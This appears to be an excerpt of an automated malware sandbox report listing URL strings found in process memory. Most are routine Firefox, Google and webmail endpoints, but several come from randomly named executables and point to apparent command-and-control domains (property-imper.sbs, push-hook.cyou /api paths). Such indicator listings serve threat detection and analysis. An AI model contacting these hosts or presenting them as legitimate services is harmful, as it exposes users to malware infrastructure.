Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: r5mqFEC.exe, 0000000A.00000003.2461952567.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2461845852.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, a7f098a093.exe, 0000000C.00000003.3495369049.0000000001638000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826345784.000000000570B000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826632924.0000000005709000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: unmYCIPOHmXNjqOesrEy.dll.12.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: firefox.exe, 00000020.00000003.2853671144.000001D549C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2851446106.000001D549A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853467336.000001D549C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2853199617.000001D549C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000023.00000002.2934533740.00000279078CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000023.00000002.2934533740.0000027907886000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000020.00000003.2855347222.000001D547C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/N
Source: e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api1R
Source: e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api8R
Source: e5e907fecb.exe, 0000000D.00000002.2681648947.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apia
Source: e5e907fecb.exe, 0000000F.00000003.3204335566.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apim
Source: e5e907fecb.exe, 0000000F.00000003.3204110998.00000000056C9000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3002989012.00000000056D0000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2946221851.00000000056CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apited
Source: e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2951041337.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000ED3000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2826165474.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api~
Source: e5e907fecb.exe, 0000000F.00000003.2982166481.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/f
Source: e5e907fecb.exe, 0000000D.00000002.2681648947.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/psPATHEXT=.COM;.EXE;.BA7
Source: e5e907fecb.exe, 0000000D.00000003.2680706736.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/psPATHEXT=.COM;.EXE;.BAM
Source: e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/x
Source: e5e907fecb.exe, 0000000F.00000003.2989720375.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3004682669.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3060784533.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/~
Source: e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2950450071.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3205264572.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000002.3277415310.0000000000E58000.00000004.00000020.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2982257579.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apit
Source: e5e907fecb.exe, 0000000F.00000003.3061181607.0000000000E58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/apitPK
Source: r5mqFEC.exe, r5mqFEC.exe, 0000000A.00000003.2654265532.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666574933.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2663034067.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666691867.00000000032A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/
Source: r5mqFEC.exe, 0000000A.00000003.2654265532.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2663034067.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666691867.00000000032A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/?
Source: r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/F
Source: r5mqFEC.exe, 0000000A.00000003.2602427215.00000000032AA000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2663034067.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666691867.00000000032A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/api
Source: r5mqFEC.exe, 0000000A.00000003.2525316848.00000000032B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/apif
Source: r5mqFEC.exe, 0000000A.00000002.2666574933.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003255000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/apis.
Source: r5mqFEC.exe, 0000000A.00000002.2666574933.0000000003255000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2662244591.0000000003255000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/c
Source: r5mqFEC.exe, 0000000A.00000003.2654265532.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000003.2663034067.00000000032A3000.00000004.00000020.00020000.00000000.sdmp, r5mqFEC.exe, 0000000A.00000002.2666691867.00000000032A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/w
Source: r5mqFEC.exe, 0000000A.00000003.2558891081.00000000032B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://push-hook.cyou/y
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 00000020.00000003.2852871617.000001D549C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: r5mqFEC.exe, 0000000A.00000003.2462569641.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.2828381892.0000000005765000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000022.00000002.2934934845.000002651AE50000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2937283139.0000027907E60000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
